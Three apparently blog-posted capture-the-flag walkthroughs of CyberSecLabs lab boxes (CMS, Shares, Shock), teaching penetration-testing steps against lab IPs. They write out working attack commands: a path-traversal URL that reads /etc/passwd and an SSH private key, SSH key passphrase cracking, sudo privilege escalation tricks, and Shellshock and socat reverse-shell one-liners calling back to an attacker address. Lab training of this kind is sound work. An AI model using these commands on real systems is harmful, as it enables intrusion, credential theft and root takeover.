CyberSecLabs – “CMS” Walkthrough

CyberSecLabs

CMS from CyberSecLabs is a beginner level box hosting a WordPress installation. Using a file inclusion vulnerability we’ll gain access to the target, and exploit weak sudo permissions to escalate to root.

Let’s get started.

The IP Address for CMS is 172.31.1.8

Scanning and Enumeration

As always we run our Nmap scan against the target with -sC for default scripts, -sV for enable service enumeration, -p- to scan all TCP ports.

nmap -sC -sV -p- 172.31.1.8

Only two open ports on the target. Port 22 running SSH and port 80 hosting a HTTP web server. When we see this on a pentest or capture the flag, port 80 is almost always the initial entry point.

Next, I’ll run Nitko against the target to scan the web server.

nikto -h 172.31.1.8

Nothing actionable here other than confirming a WordPress installation. Let’s move on to directory busting.

gobuster dir –wordlist /usr/share/wordlists/dirb/big.txt –url 172.31.1.8

Again, we don’t find anything interesting, other than a couple WordPress pages.

Nikto and Gobuster didn’t provide us with any actionable information. We need to dig deeper and enumerate the web server. Which happens to be a WordPress site, let’s use….

WPScan – WordPress Security Scanner

WPScan is a WordPress vulnerability scanner that helps enumerate plugins, themes, and other information about WordPress installations. Let’s run this against the target web server.

WPScan with default options will generate a list of theme’s, and plugins to enumerate. It also points out which versions are out of date.

Here we see a plugin identified. I’m not familiar with this specific plugin, so I’ll do a quick Searchsploit to see if it has any known vulnerabilities.

wpscan –url 172.31.1.8

Searchsploit will search the local Exploit-DB repository on your Linux box. Provided you’ve updated the Searchsploit database, what you see here are the same results you’ll find on the Exploit-DB website.

We find an exploit for the WP with Spritz plugin. Our version also matches, so now we have a vulnerability to exploit.

searchsploit -w wp with spritz

Exploitation

We have a vulnerable WordPress plugin named WP-with-Spritz. Our exploit is a Remote File Inclusion vulnerability as stated in the title. However, if you look at the code we have two working POC’s. One Remote file inclusion, and one for Local file inclusion. Which one do we use to exploit?

File Inclusion Vulnerabilities

LFI or Local File Inclusion vulnerabilities allow the attacker to read and sometimes execute files on the target machine.

RFI or Remote File Inclusion vulnerabilities are easier to exploit but less common. Instead of accessing a file on the target system, the attacker is able to execute code hosted on their own machine.

Now we’ve got a primer on file inclusion vulnerabilities so let’s continue. Essentially, we’re manipulating the URL address into displaying local files on the target. The POC provided in the exploit will grab the /etc/passwd file. Since this file is readable by all users on a Linux system, this is a great way to test the vulnerability.

I navigate to the following URL and then right click and select “View Source”. This will provide the formatting associated with the file.

http://172.31.1.8//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd

http://172.31.1.8//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd

Pause for a moment and think back to our initial Nmap scan. Two ports open. One is the web server, and the other is SSH. That means we could probably find a user with a private key that might allow us to connect to the target over SSH.

On a Linux system private SSH keys are stored in the user’s home folder under .ssh. If we peak at the /etc/passwd file you notice the only other user account besides root is the “angel” account. That’s our user.

Modify our URL address path to /home/angel/.ssh/id_rsa in your browser and go. Again to format the file, right click and select “View Source”.

http://172.31.1.8//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//home/angel/.ssh/id_rsa

Copy the private key into a file named id_rsa. Then chmod on the file to allow us to execute it.

Now we’ll use the private key inside the id_rsa file to connect to the target over SSH as the angel user.

chmod 700 id_rsa
ssh -i id_rsa angel@172.31.1.8

Success! We are now logged into the target as Angel.

Privilege Escalation

You’ve gained access to a Linux system as a low privileged user. What’s the first thing you do?

Check Sudo Permissions. The easiest and quickest win on a Linux system can be found by running Sudo -L.

This will show you what commands can be run under the Root account without a password, by the current user.

sudo -l

This is the holy grail for Sudo permissions. If you ever find a user who can run (ALL : ALL) NOPASSWD: ALL, you can immediately own that box and become root.

Again, whatever command we run will be run under the Root account. All we have to do is spawn a bin/bash shell as the root user. Boom. Done. It’s that easy.

sudo -l
sudo /bin/bash

Capture the flags!

Don’t forget to capture your flags and complete the box.

cat /home/angel/access.txt
cat /root/system.txt

That is CMS from CyberSecLabs. An excellent beginner box that demonstrates how to exploit a file inclusion vulnerability to gain initial access to the target. Once we got our low privileged user, we used a simple Sudo command to spawn a root shell. Always, always, always check those Sudo permissions. That is easiest and quickest way to score a win on Linux.

CyberSecLabs – “Shares” Walkthrough

CyberSecLabs

Shares from CyberSecLabs is a interesting beginner box in that there’s very little actual exploitation. No reverse shells, no payloads and we also won’t be using any automated tools for enumeration during privilege escalation. What we will be doing is taking advantage of a open share containing a user’s home directory with everything that entails. We’ll get to root by abusing Sudo permissions two different ways.

Let’s get started.

Shares IP address is 172.31.1.7. Connect to the VPN and ping your target to verify connectivity.

Scanning and Enumeration

As usual I’ll start with a Nmap scan of the target. Here I’m scanning with -sC for default scripts, -sV for service enumeration, and -p- to scan all 65535 TCP ports.

nmap -sC -sV -p- 172.31.1.7

Nmap scan results show a handful of open ports. FTP is open, but we need a password. Port 80 is hosting a web server, and we have RPC on port 111. Next we jump to port 2049 which is hosting a NFS file share. Interesting. Then we have SSH on port 27853 which is also very interesting. After that we have some higher level ports I don’t recognize, and I’ll ignore them for now.

I’ll start by examining the file share that’s being hosted on 2049.

showmount -e 172.31.1.7

Showmount reveals a mounted home directory for a “amir” user. Now we can mount that directory to our local machine and explore the files on the share. I’ll do that using the mount command, NFS for the type of share, followed by the IP address of the target with the path, and the local path where the share will be mounted on our local machine.

After mounting the share I ls -la to reveal all hidden files and folders. Here we see the contents of the user’s home folder. We even have the .ssh folder which hopefully contains a private key we can utilize.

mount -t nfs 172.31.1.7:/home/amir/ /root/CSL/Shares/Mnt/Shares
ls -la

Change directory into the .ssh folder and we see exactly what we hoped. Private SSH keys! Now if you pay attention to the permissions on the left, we can only read one of those files id_rsa.bak.

cd .ssh
ls -la

Let’s take a peek at id_rsa.bak, and unsurprisingly we see it’s a RSA private key. Next we’ll try and use this key to connect to SSH.

cat id_rsa.bak

I copy the id_rsa.bak file into my Shares working directory. Chmod to give the file permissions so we can make it useful. Then attempt to connect to the target over SSH as Amir using the private key.

cp /root/CSL/Shares/Mnt/Shares/.ssh/id_rsa.bak .
chmod 700 id_rsa.bak
ssh -i id_rsa.bak amir@172.31.1.7 -p 27853

As you’ll notice above, we are prompted for a password for Amir. Which we don’t have…. yet.

Exploitation

We need a password to SSH to the box as Amir. How do we get it? Since we have the RSA private key, we can utilize a tool included with John the Ripper aptly called “ssh2john”.

Ssh2john will extract the hash from the SSH private key, and what do we do with hashes? That’s right, we crack them.

locate ssh2john
/usr/share/john/ssh2john.py id_rsa.bak

Run ssh2john again, and this time redirect the output to a new file called hash. Then run John the ripper with a specified wordlist against the hash file. I’m using the go-to rockyou.txt wordlist. If you aren’t sure which wordlist to use when doing capture the flag style boxes, I would recommend starting with rockyou.txt.

/usr/share/john/ssh2john.py id_rsa.bak > hash
john –wordlist=/usr/share/wordlists/rockyou.txt hash

It took almost no time to crack the hash. Very simple password which we see in the John the Ripper output.

Same as before. Connect to the target over SSH as Amir. Enter the password when prompted. Now we have access to the target system.

Privilege Escalation

We have access to the target now as a low privileged user named Amir. We already know the target is a Linux system. Like I mentioned we won’t be using any tools to automate the enumeration process for us.

So where do we start? Well the best place to start in my opinion for a Linux system would be checking what Sudo permissions the user has. That’s the low hanging fruit. A lot of the time we can score a quick win if we have Sudo permissions on a file or command.

sudo -l

Above we see that the Amir user has the ability to run two binaries as the user Amy. One being python3 and pkexec.

First thing we do when we find binaries listed under Sudo, is we look them up on GTFO bins. Lookup python3 and you’ll see we have a Sudo option.

sudo python -c 'import os; os.system("/bin/sh")'

This python command will spawn a /bin/sh shell for us. We can tweak it just a bit, by adding /bin/bash and now it will spawn a bash shell. We’re ready to go now, run the command and specify the user as amy.

sudo -u amy /usr/bin/python3 -c ‘import os; os.system(“/bin/bash”)’
whoami
sudo -l

Boom. We have spawned a bash shell and become the Amy user. Rinse and repeat. Let’s check her Sudo permissions. We see above she also has a binary listed, this time /usr/bin/ssh.

Go back to GFTO bins and let’s find another way to exploit this binary. Of course we find a Sudo option listed for this binary.

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

There’s the command above, and this will spawn a interactive shell as root. I run the command as is and you’ll notice that we do indeed get a root prompt. However, its the basic sh prompt #. If we tweak this command by also spawning a bash shell, we will get a nice Root@Shares prompt.

sudo ssh -o ProxyCommand=’;sh 0<&2 1>&2′ x
whoami
exit
sudo /usr/bin/ssh -o ProxyCommand=’;bash 0<&2 1>&2′ x

Capture the Flags!

cat /home/amy/access.txt
cat /root/system.txt

There you go. Shares from CyberSecLabs. A interesting beginner box, that really enforces some good habits to get into while pentesting or doing capture the flag scenarios. You learn a couple cool tricks on how to work with mounted network shares, and how to reverse a SSH Private key into a hash and then crack it. Lastly we learned to check Sudo permissions first, and always always look them up on GTFO bins for a quick win.

CyberSecLabs – “Shock” Walkthrough

CyberSecLabs

Shock from CyberSecLabs is a beginner Linux box hosting a Apache web server. We’ll use Nikto to discover a Bash vulnerability that we can use to get a shell. To complete the box we’ll use some basic Linux privesc techniques to escalate to root.

The IP address for Shock is 172.31.1.3.

Scanning and Enumeration

I start out with Nmap scan with -sC for default scripts, -sV for service enumeration, and -p- to scan all 65535 TCP ports.

nmap -sC -sV -p- 172.31.1.3

We have FTP open on 21, SSH on 22, and a web server hosted on port 80.

FTP is a common initial attack vector, but in this case it doesn’t look like we have anonymous access. Usually SSH isn’t very interesting, its mostly used after we’ve already got our initial foothold. Let’s dig into the web server being hosted on port 80. I’ll use the Nikto web vulnerability scanner for this.

nikto -h 172.31.1.3

Nikto takes a while to complete but that’s because when run with default options it scans for over 7,000 known vulnerabilities.

Buried in the output we find a juicy bit of information. We have a page that is vulnerable to Shellshock! Hey, that makes sense since the box is named Shock.

Exploitation – Metasploit Route

We have a vulnerability now let’s find an exploit. I’ll start with Searchsploit to see what’s available for Shellshock.

searchsploit shellshock

There’s several exploits available including Metasploit modules. So fire up msfconsole and let’s do a search. This time I’ll search for the exact CVE number we discovered earlier with Nikto.

search CVE-2014-6278

I’ll start with the first exploit. This is the second one down in our search results, because the first is an auxiliary module which will not result in a shell.

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 172.31.1.3
set TARGETURI /cgi-bin/test.cgi
run
getuid

We receive a low privileged shell. We’ll need to escalate our privileges to get root on this system. You can skip ahead if you wish but I recommend trying the manual route.

Exploitation – Manual Route

So we’ve got a shell the easy way with Metasploit now let’s try and do it by exploiting Shellshock manually.

Before we get any further let’s understand how Shellshock works. I found this graphic from Symantec helpful.

Symantec – Shellshock

After some googling I landed on this post which provided a helpful walk through for testing and exploiting Shellshock.

The first part of the article explains how to test for the vulnerability. We’ll use a simple ping command executed after the environmental variable is setup, and the arbitrary command.

I’ll setup a Netcat listener on port 1234 and then use curl to craft the HTTP request.

curl -H ‘User-Agent: () { :; }; /bin/bash -c ‘ping -c 3 10.10.0.41:1234” http://172.31.1.3/cgi-bin/test.cgi

nc -lvnp 1234

Great we get a response from the web server. This indicates our command was executed successfully. Instead of the ping command let’s insert a bash reverse shell one liner. You can find plenty of reverse shell cheat sheets with this command.

Setup the netcat listener and then run the following command with curl to spawn a bash reverse shell.

curl -H ‘User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.0.41/1234 0>&1’ http://172.31.1.3/cgi-bin/test.cgi

nc -lvnp 1234
whoami

On our netcat listener we have a reverse shell as the www-data user.

Privilege Escalation

We have our initial low privileged shell. Now let’s see what’s available on this box to escalate our privileges and get root.

Normally, when you aren’t sure where to start on PrivEsc (Privilege escalation) you can always run automated tools to help you. LinPEAS is probably one of the best and most popular tools. But there are many others.

As a rule on any Linux system I get access to, I always check what SUDO permission that current user has. More often than not, if you run Sudo -l and you find a binary listed, that will be your method of escalation.

sudo -l

Here we see the www-data has SUDO permissions to run a binary called socat. I’m not that familiar with socat myself, but I know it has similar functionality to Netcat, in that we can use it to create connections between a port and an IP address. So how do we figure out how to use socat? Google of course!

If you haven’t already bookmarked this site. Please do. GTFOBins. Always, always, always lookup a binary you have permissions to on GTFO Bins.

There we find a way to abuse limited SUID privileges and create a reverse shell connection. Just modify the IP Address and port and run the command with sudo.

sudo socat tcp-connect:10.10.0.41:1234 exec:/bin/sh,pty,stderr,setsid,sigint,sane

sudo socat tcp-connect:10.10.0.41:1234 exec:/bin/sh,pty,stderr,setsid,sigint,sane

On our netcat listener we see the reverse shell connected.

nc -lvnp 1234
whoami
hostname

Now we have a shell as the root user. All that’s left is to capture the flags.

Capture the Flags!

cat /home/scott/access.txt
cat /root/system.txt

There you have it. Two methods for exploiting Shock from CyberSecLabs. I found the manual method to be a great way to learn how the bash vulnerability works and how to test for it. Privilege escalation wasn’t difficult but reinforced the basics you’ll need for any capture the flag type scenario.